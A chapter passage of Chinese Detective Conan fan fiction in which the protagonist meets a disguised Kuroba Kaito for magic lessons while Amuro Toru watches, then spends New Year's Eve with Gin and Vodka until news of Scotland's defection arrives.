宫野志保松了口气,说道:“没人能够伤害姐姐。”
-
和志保聊天太过投入,幸好她让系统记好时间提醒她出发,才准时到了和【红色鲱鱼】约定的咖啡店。
但因为太过匆忙,智齿的问题也没时间咨询了。
这家咖啡店开在市中心,生意火爆,人流密集。
进门起,神无梦就觉得好像有人在看她,但并没找到源头。
那种被注视着的目光让她本能地寻找起了最合适逃跑的路线,也理解了【红色鲱鱼】将碰面地点选在这里的原因——对她不信任,随时准备脱身。
难道是先一步到达的【红色鲱鱼】?
他正在观察她,确认她的身份?
可她早上就将自己的外貌特点和今天的衣着告诉了【红色鲱鱼】,应该能被后者一眼认出来,怎么会多此一举。
况且才上初中的黑羽快斗不可能给她这么大的压迫感吧?
神无梦微蹙着眉,挑了个卡座坐下。没过多久,有人轻叩她面前的大理石桌。
“Sleep小姐?”
面容俊朗的黑发青年问道。
被直呼网名的感觉好奇怪,神无梦强忍着别扭的心情,问道:“红色鲱鱼先生?”
感谢注册论坛取id的时候她的日语还一塌糊涂,不然现在的她可能会直接取出来【卡密】之类的名字,那或许隔壁桌还以为他们这里在搞什么传教仪式……
“是我。”
黑发青年笑着点头,却没有直接在她的对面坐下,而是朝她微微弯腰,行了个极为绅士的礼仪,直起身来的时候右手之中已然多了一朵绽放着的金香玉黄玫瑰。
送花的时候少不了祝福,他说道:“愿您拥有阳光明媚的一天。”
魔术和鲜花带给男人的魅力加成不容小觑,周围不乏被他吸引注意力的客人,都小小地发出了惊呼声,看向少女的目光带了艳羡。
神无梦认得这支花,英文名叫“sunluck”,是充满了祝福的用来送给朋友的玫瑰。
她接过花,抬头去看对方的眼睛,是很漂亮的深蓝色,里面闪烁着光彩,望去像是夜晚的浪漫星空。
“谢谢。”
收到花总会让人开心,神无梦请他坐下,确定了他就是易容过后的黑羽快斗。
他的易容术的确高超,十四岁的少年装成二十多岁的青年也不觉得有多违和,不过身高上还是有些差距,穿这双鞋走路应该会比较辛苦。
虽然现在的黑羽快斗还没有发现父亲的秘密,成为新一代怪盗基德,但神无梦却已经见过了他之后令万千少女疯狂的模样,忍不住多看了几眼。
黑羽快斗被她看得有些慌。
他知道自己易容的这张脸还算帅气,刚才的那手魔术更是完美,但对面的少女看起来不像是这么轻易就会被打动的类型,更不应该因为这点事情就盯着自己的脸看,所以……
总不能是她看出来自己易容了吧?
他让自己打消掉这种猜测,努力维持住扑克脸,打算先发制人,掌握对话的主动权。
“抱歉,打扰了。”
金发黑皮的侍应生手里拿着餐单,不知道在一旁站了多久,像是万分愧疚自己破坏了客人的对话。
他弯下腰,将餐单翻开,递到少女面前,客气而礼貌地问道:“请问二位要点些什么?”
20. 攻略进度20%
神无梦总算知道自己从走进这扇门起就感觉到的那股注视来自哪里了。
今天是整年的最后一天,她实在无法理解对方怎么做到这么坚守岗位,竟然还能出来兼职。
但他现在披着安室透的皮,又装作不认识她的样子,神无梦也没有拆穿他的打算。
“一杯……”黑羽快斗正准备点单,却想起来自己此刻扮演的是一位二十五岁的成年人,艰难道,“一杯摩卡。”
他看向对面的少女,正准备问她想要什么,就见她像是忍不住一样笑了一下。
黑羽快斗感到摸不着头脑,有一瞬间都不确定今天的这场见面到底是不是个正确的决定,但很快,他看到少女将餐单交还给侍应生,然后对他道:“这家店招牌饮品是热巧,不如和我一起尝尝?”
她笑着提出请求的时候让人很难拒绝,黑羽快斗下意识点了点头,然后意识到自己成熟社会人士的伪装大概要被这杯极不相称的热巧破坏了。
但是他真的抵御不了巧克力的诱惑啊!
黑羽快斗的内心换了无数种情绪,脸上还是波澜不惊,绅士地朝侍应生重新下单:“摩卡不需要了,换成两杯热巧,再为这位小姐上一份香草冰淇淋蛋糕,谢谢。”
神无梦只在那一页冰淇淋蛋糕上多看了两秒,想到不太听话的智齿就放弃了,但没想到这种细节都被注意到了。
该说不愧是从小锻炼眼力的魔术师吗?
这份体贴落在旁观的安室透眼里却不是那么回事了。
毕竟认识了两年,又有个恋爱期间把女朋友捧在手心里照顾的幼驯染在身边日复一日地关照,他再怎么不关心也记住了这女人的喜好。
况且了解组织成员的情报本来也是他卧底工作的一部分。
不仅如此,他对神无梦的行程也很清楚,从她在法国停留的时间,飞机在羽田机场降落的时间,包括她今天上午被安排在组织的实验所体检……
凡是有迹可循的事情都在他的掌握之中。
所以在看到她出现在这家咖啡厅等人的时候他才更加惊讶,却没想到让她体检完从实验所奔波过来的碰面对象就是这个平平无奇的一个男人。
完、全、比、不、上、hiro。
他在心里毫不犹豫地给出比较结果。
可两个人竟然已经熟悉到能帮助对方点单是他没想到的。
安室透维持着脸上虚假的笑容,手中记录点单的圆珠笔已经在纸上透出深深的痕迹。
“有需要我们会再叫你的。”少女的声音响起,客气的话语之下是驱逐的意思,“请先去服务其他客人吧,谢谢。”
圆珠笔被攥得更紧,用本子遮住的指节因为用力而泛白,安室透笑着答应道:“好的,有需要请按铃。”
神无梦目送着他走远,随手在桌沿下方碰了碰,果然有个异常的突起物。
是笃定就算被她发现装了窃听器也能找到理由解释吗?
神无梦有点无奈,但还是让那枚窃听器留在了原处。
会在这里遇到降谷零是她意料之外的事,就算对方是红方卧底,但目前的他说不准什么都能干得出来。
而坐在她对面的又是涉世未深的黑羽快斗,她不希望因为自己的这次论坛求助而让他进入组织视线。
“我叫神无梦,还是叫我的名字吧。”
她自我介绍着,刻意将两人是初次见面的事实告诉说给那位成天疑神疑鬼的卧底听,免得黑羽快斗这个易容的身份被那家伙惦记上暗中调查。
黑发青年朝她颔首:“我是海藤羽,请多指教。”
两人用邮件交流时就已经约定过,这次见面只为了确定他们的身份,增进了解——因特网虽然才刚刚兴起,但骗局却已经不少,能够线下见面至少给彼此的交易多了一份保障。
尤其是对于谨慎到始终没有将自己需要的报酬说出来的黑羽快斗而言。
“神小姐比我想象的要年轻许多,看来是计算机领域的天才啊!”
黑羽快斗已经进入了“怀才不遇但自信十足的青年魔术师”状态,即便认可交谈对象的实力也并不自卑:“不知道神小姐想学习的魔术是什么类型?”
神无梦回答道:“简单易上手,学会之后能让海藤先生你由衷称赞的魔术。”
她说得轻巧,但要满足她这两个条件却有不小难度。
只说后半句,黑羽快斗就很难想象他在什么情况下才会由衷称赞自己教出去的魔术,难道鼓励和肯定之类的也算“由衷”?
“如果是这样,我推荐纸牌类和硬币类。”他认真地考虑了一会,说道,“神小姐是女性,手帕类也可以列入选择,在某些时候会显得更加自然。”
专家的建议就是不一样。
神无梦又问了一次:“所以海藤先生认为哪类魔术更能让你感到特别?”
黑羽快斗的脸上扬起一抹笑,就算不是自己原本的脸,也隐约能见到几分将来撩拨少女心弦的轮廓:“对我而言,只要是由美丽的小姐所变的魔术,不论哪种都是最特别的。”
“打扰了,两位的热巧和蛋糕。”
金发黑皮的侍应生丝毫没有眼力劲,左手端着托盘,右手稳稳将食物和饮品放在两人的面前:“祝您用餐愉快。”
时间不仅让降谷零熟悉了神无梦的一切,反过来也是同样。
所以就算他看起来还认真扮演着侍应生的角色,神无梦也能感知到这人又在因为什么而不爽,像是吃饭的时候不得不跟莱伊一桌。
黑羽快斗也觉得这位侍应生似乎对他们这桌格外关注,但因为他进来时候的那手魔术,其实现在咖啡厅有不少人都还时不时会往他们这边看,他也只好把这位长相格外帅气的侍应生和那些客人归为一类了。
不过还有另一种可能。
年龄不大但情商不低的少年在心里猜测:或许是这位侍应生对和他一桌的神小姐一见钟情了,这才频频过来,想要制造一些人为的交集。
这么想着,黑羽快斗坦然地与安室透对视了一眼,表明自己不会是所谓的假想情敌。
他将带来的纸袋放在桌面,推到少女面前:“这是我为神小姐准备的见面礼,还请不要嫌弃。”
他故意将“见面礼”这三个字咬得很重,却没想到对方已
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经通过窃听设备将两人的关系了解得一清二楚,根本不需要他这句好心的话。
服务结束的侍应生当然及时离开,神无梦没功夫去管他,惊讶地接过纸袋道谢,然后问道:“我可以打开吗?”
日本这边似乎不喜欢当面拆开礼物,她很尊重对方的意愿。
黑羽快斗点头道:“当然可以!”
纸袋里的礼物连包装纸都没有,想必是准备好了让她当场看。
神无梦把东西拿出来,是一支有她小臂长的木杆铅笔,和一副崭新尚未开封的扑克。
“神小姐说自己没有魔术基础,这两件东西能够帮助神小姐锻炼手指的灵活度,对之后的学习也会有帮助。”
黑发青年介绍完,又说道:“什么时候学习魔术都不会晚,何况神小姐还这么年轻。”
学习魔术当然什么时候都不会晚,但做任务就是越快越好了呀。
神无梦没办法把这句话说给他听,笑着接受了他的鼓励,问起练习的方法。
-
在专业人士的指导下,神无梦真切感受到了魔术入门比她想得更简单,但深入后的奥妙也更复杂。
就在她沉浸式转笔的时候,黑羽快斗已经去前台把账结了,让她连聊表心意的机会都没有。
又指点了她几句,黑发青年觉得她掌握得差不多了,起身道别:“我回去后会为神小姐整理一份适合学习的魔术,您可以挑选自己最感兴趣的,下次就可以教您具体的魔术了。”
之前一直是用论坛和邮件联系,时效性稍微差了一些,他们直接交换了电话号码,便于之后再约时间。
神无梦学习态度十分端正,保证道:“我回去会好好练习的。海藤先生有什么需要我帮忙的也请不要客气,直说就好,我真的非常感谢海藤先生愿意教我魔术。”
黑羽快斗惦记着他的人设,说了句:“神小姐是第一个认可我的人,我当然要做到最好。”
“海藤先生。”
神无梦无所谓他说的是真话假话,诚恳道:“你还这样年轻,我相信你将来一定会成为世界上闻名遐迩的魔术师!”
“借您吉言。”黑发青年笑起来,蓝色的眼睛瞬间神采奕奕,临走前将带来的伞也一并留给了她,“天气预报说今晚会下雪,这把伞就留给神小姐好了,愿它与这枝玫瑰陪伴您回家的路。”
空着手来到咖啡厅,离开前却多了一堆东西。
虽然有降谷零时不时过来捣乱,但神无梦觉得这个下午过得轻松又愉快,决定也要为对方准备一份回礼。
年轻的弟弟就是和那些成年人都不太一样嘛!
神无梦忽然意识到一件事。
一直以来,她挑选的攻略对象都是成年人,这类人的三观都已经形成,不可能轻易为她改变。但假如攻略对象是青春期的未成年……
摇摇欲坠的道德心在这种关键时候束缚住了她。
神无梦捂住眼睛。
人不能,至少不应该……
“几天不见,又换了个新目标?”
神无梦抬起头,那双熟悉的紫灰色瞳孔正嘲讽地看着她。
21. 攻略进度21%
咖啡厅的客人散得差不多,收拾着餐具的侍应生正站在她这桌旁边,声音被压低,没有任何人注意到。
神无梦叹了口气,不希望自己今天的好心情在这里结束,说道:“那只是个普通人。”
“那就是你突然对魔术感兴趣了?”
安室透说着问句,但语气却仿佛已经认定这是谎话。
神无梦觉得有点奇怪。
平时他的确爱找她的不痛快,但是她都和景光分手这么久,那天之后更是没有任何联系,他现在这样多少有点没事找事的意思。
虽然可以解释为他在担心她盯上了什么日本的无辜群众,想要保护他的国民,但神无梦还是感到不对劲,向他问道:“你今天有任务在这边?要不就是有什么事打算利用我?”
穿着黑色马甲的侍应生朝她扬起一个招待客人的标准笑容,将她面前的餐具收走,说道:“这只是我的兼职之一罢了。”
“是吗?”
神无梦也不想让他今天过得舒坦,笑着朝面前的男人说道:“还以为你是故意守在这里和我偶遇呢。”
完全是无依据的揣测。
安室透想要反驳她,但或许是因为不合时宜涌上心头的轻微愧疚,他最后还是咽下了到嘴边的话。
-
晚上去琴酒那里跨年的事情她才不可能透露给降谷零,不然这家伙藏着什么坏心思还真说不定。
神无梦回了家,把玫瑰和铅笔都放下,带着扑克牌和给琴酒他们准备的礼物重新出了门。
虽然一路上都没有下雪,但她没忘黑羽快斗的温馨提醒,那把伞还是带在了身边。
琴酒的安全屋和她的与威士忌组的独栋都不一样,是一套高层公寓,不知道他是对居住环境有要求还是对房间视野有要求。
神无梦还蛮喜欢他家那个宽敞至极的阳台的,总觉得很适合露天烧烤,不过直到现在她也没找到这个机会。
她进电梯时就给伏特加发了信息,说自己马上到,让他提前开门,不要被大哥发现。
谁知道琴酒会不会临时改变主意不让她进去啊,她肯定得做好万无一失的准备嘛!
被她惦记着的琴酒正坐在客厅的沙发上。
伏特加那点小动作根本瞒不过他,门锁的金属声和室内起先没有的风声都告诉了他房门已经被打开。
银色长发的男人敛着眼睑,冷哼一声,将手中的打火机扔在了面前的茶几上。
隔着留了一道门缝的空隙,完全没有经过训练的脚步声响起,即便被刻意放得轻盈,落在他耳里还是十分明显。
琴酒抬起头朝声源处望去,门被很轻地关上,接着一个金色的脑袋从玄关处探出来,脸上是暗淡光线都遮不住的灿烂笑容。
少女朝他扬了扬手里的纸袋,脆声道:“新年快乐,大哥!”
-
就算在组织上班,跨年的这一天也还是不同寻常的。
电视机已经开始放红白歌会,餐桌上摆着几道勉强看得过去的菜,都是伏特加做的。
这份厨艺和苏格兰比起来实在是一个天上一个地下,好在神无梦虽然喜欢美味的食物,但向下兼容的能力也很强,依然能够给出诚恳的称赞:“伏特加,能做出来这么多菜,你也太厉害了!”
“还行吧!”伏特加被夸得有点不好意思,摘了墨镜的小眼睛笑得快看不见,这种时候也没忘吹捧琴酒,“大哥比我厉害多了!”
琴酒会做饭的确让她有点惊讶,但不多。
毕竟一个成年男人要独居活下来,稍微有一点果腹的能力还是很正常的,尤其是习惯了独来独往的琴酒。
神无梦很快接受了这个设定,朝琴酒问道:“不知道什么时候有机会吃到大哥做的饭呢?”
回应她的是男人的一声轻嗤,像是觉得她在做梦。
神无梦也不介意,高高兴兴地给大家的空杯子倒酒。
她带的是西拉酒,而琴酒和伏特加这两个人也和他们的长相一样,像东欧人一样能喝,根本看不上这种十几度的葡萄酒。
但在她的强烈要求之下,两个人还是妥协了。
只是神无梦自己没能喝到。
因为她的体检结果太过糟糕,Boss对她的担心同样影响了琴酒,所以她面前的酒杯被强行换成了蓝莓汁,像是误入大人餐桌的小孩。
“好吧好吧。”
神无梦不太爱喝酒,无所谓这点小事,更不愿在大好的日子计较这些,又高高兴兴地举杯道:“新年快乐!”
她抿了口蓝莓汁,在脑海里说道:【统统,新年快乐。】
【新年快乐!】系统没有属于人类的节日,所以每每遇到这些喜庆的日子都更加激动,【又陪梦梦过了一年,我太幸福啦!】
神无梦应声道:【是呀,我们都一起走了三年了。】
来到这个世界的第一年,她是跟hagi和松田一起跨年的。
第二年,她在安全屋和那三位连代号都没有的卧底们一起庆祝。
第三年,她和苏格兰两个人去了长野。
在他的家乡,他们看着玻璃窗外的漫天大雪,一起倒数着新年的钟声。
那时候她以为自己回家的日子也进入倒计时了。
但现在回过头来想想,时间过得可真快啊。
她还有多久才能回家呢?
换句话说,她真的能活到那天吗?
“西拉酒,你怎么了?”
伏特加注意到她的脸色,关心道。
神无梦摇摇头,并没有打算隐瞒:“没什么,我只是有一点想家。”
“你还有家人?”伏特加惊讶出声,“组织成员不都是孤儿吗,要不就是父母都在组织。”
神无梦轻轻笑了下:“我当然有家人啊,只是他们都不在这个世界。”
伏特加理所当然地误会了。
死亡对于他们这些组织成员来说实在太常见了,如果是平时,伏特加也并不会把它当做一回事,毕竟谁的父母都不在这个世界。
但这会听神无梦提起,又凑巧是这样应该庆祝的日子,伏特加还是难免有一些愧疚,下意识地看向琴酒,想要从自己大哥那里得到点补救措施,然后他就震惊地看到自家大哥拿出了一份礼物!
大哥竟然会准备跨年礼物?!
伏特加彻底不愧疚了,甚至有点嫉妒:“大哥,我也有礼物吗?”
琴酒露出嫌弃的眼神,但还是高抬贵手地指了下沙发边的袋子,于是神无梦看到那个大块头咧着嘴去领取了自己的礼物,还直接拿里面的新帽子试戴了一下。
“谢谢大哥!”
神无梦接过纸袋,来不及拆开,赶紧把自己包装好的两份礼物拿出来:“我也给你们准备礼物了!”
虽然是在东京跨年,但三个人都不按日本的习俗做事,更不讲究独自一人的时候才能拆礼物这种事。
琴酒送给她的礼物是一副墨镜,因为正在晚上,她就没有试戴。
不过这是把她看作他们小组一员的意思了吗?可也不是黑色的啊,看起来还蛮时尚的,说是贝尔摩德送的她都相信。
伏特加倒是把他这段时间最宝贵的珍藏贡献了出来——是他近期喜欢的一位偶像的签名海报。
尽管她不追星,但还是很感谢伏特加的忍痛割爱。
如果他能再改改一惊一乍的性格就更好了。
“西拉酒,你竟然给大哥送护发素!”
伏特加偷看完琴酒拆礼物,语气难以置信。
“这可是我超级用心准备的礼物!”
神无梦大声道。
她逛遍了商场,好不容易挑到了一瓶没有任何味道的护发素,简直天生就是为了琴酒这样的TopKiller设计的啊!
不然当他杀完人,长发从受害者的颊边吹过,岂不是要被还剩一口气的目标
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闻到他头发上的花香味或者水果味?
这种画面神无梦只幻想了两秒就觉得太荒诞了。
她看了眼琴酒,对方在家里总算没有戴那顶不离身的礼帽,发丝垂下来,发质在灯光下好得惊人。
就是很需要护发素的头发嘛!
神无梦又一次肯定了自己天才般的送礼方案。
至于送给伏特加的礼物……
是一本书,书名叫《365天讨好你的上司》。
看到的第一眼她就觉得无比适合伏特加,自己都想买一本在家里备着。
万一伏特加凭这本书成功上位,她也说不定能学着攻略成功耶!
-
接到hagi电话的时候神无梦还有些意外。
这两年来,他一直都是通过短信的方式祝福她,还是第一回主动给她打电话。
气氛太过轻松,又是所有人都在忙着分享祝福和喜悦的日子,两位组织成员默认她的朋友不少,并没有在意这通电话。
神无梦一个人走到阳台,将玻璃门关上,接起道:“hagi?”
萩原研二能够听到她那边隐约传来的背景音,和面前电视机里的几乎重叠。
他知道神无梦不是日本人,对这种传统节目一向也没有多少兴趣,所以大概率是和朋友在一起。
意识到这一点,他稍微有些失落,但又庆幸于她不是独自度过这样的时刻,打起精神道:“新年快乐,梦酱。”
“也祝你新年快乐!”神无梦不知道对面的人在这么短的时间已经想了这么多,问道,“你和松田在一起吗?替我也向他转达一下祝福吧!”
窸窸窣窣的一阵动静后,暴躁的男声从那头传来:“连这么简单的话都要转达?亲口跟我说啊,你这家伙!”
打打闹闹的感觉让神无梦又想起了他们刚认识的时候,笑容不知不觉出现在她的脸上:“祝你新的一年脾气能够更好一些啊,松田。”
年末的气温很低,高层的风更大。
神无梦背靠在栏杆上,面前就是那扇没有完全关紧的玻璃门,有少量的暖气从缝隙溢出来,不到她的身边就被吹散。
电话的另一头是两位将她领到这个世界的警官,是她最早拥有的朋友;而客厅中坐着的是她在接下来的组织生活里的“伙伴”。
仿佛在这个瞬间,她的面前有两条路可以选。
一条是回到朋友们的身边,一条是在这个黑色的组织里继续隐忍。
可事实上,没人能够穿过电信号和磁场去到另一个地方,她唯一能走的路也早就摆在了眼前——重新打开这扇玻璃门,走进那间温暖的、危险的、结局未定的房间。
这个时间段使用手机的人太多,大概是出现了挤占现象,信号也开始断断续续。
神无梦不记得自己最后和hagi他们还聊了些什么,应该是明年找机会一起见见之类的事情,那些声音却好像漂浮着的空气一样无影无踪了。
等到挂断电话,她发现自己的手机上多了两条未接来电,是莱伊在通话过程中打来的,却遇到了占线。
她猜想大不了就是一些普普通通的新年祝福,并没有回拨,简单编辑了一条祝福短信过去。
房间里,伏特加在朝她招手,又指了指电视机,估计是看到什么好看的节目想分享给她。
神无梦收拾好心情,重新走回客厅,却注意到另一边正在接电话的琴酒脸上露出了冷漠的神情。
像是某种预感降临,她的心脏漏跳一拍,莫名其妙的慌张涌了上来。
银发男人将电话挂断,绿眸中的寒意惊人,隐约有几分嗜血的光。
他站起身来,朝两人说道:“苏格兰叛逃了。”
神无梦的瞳孔紧缩:“是谁的消息?”
她还想问能不能确定,是不是哪里弄错了……但最后,她只是走到窗边,看了一眼外面黑沉的夜色。
下雪了。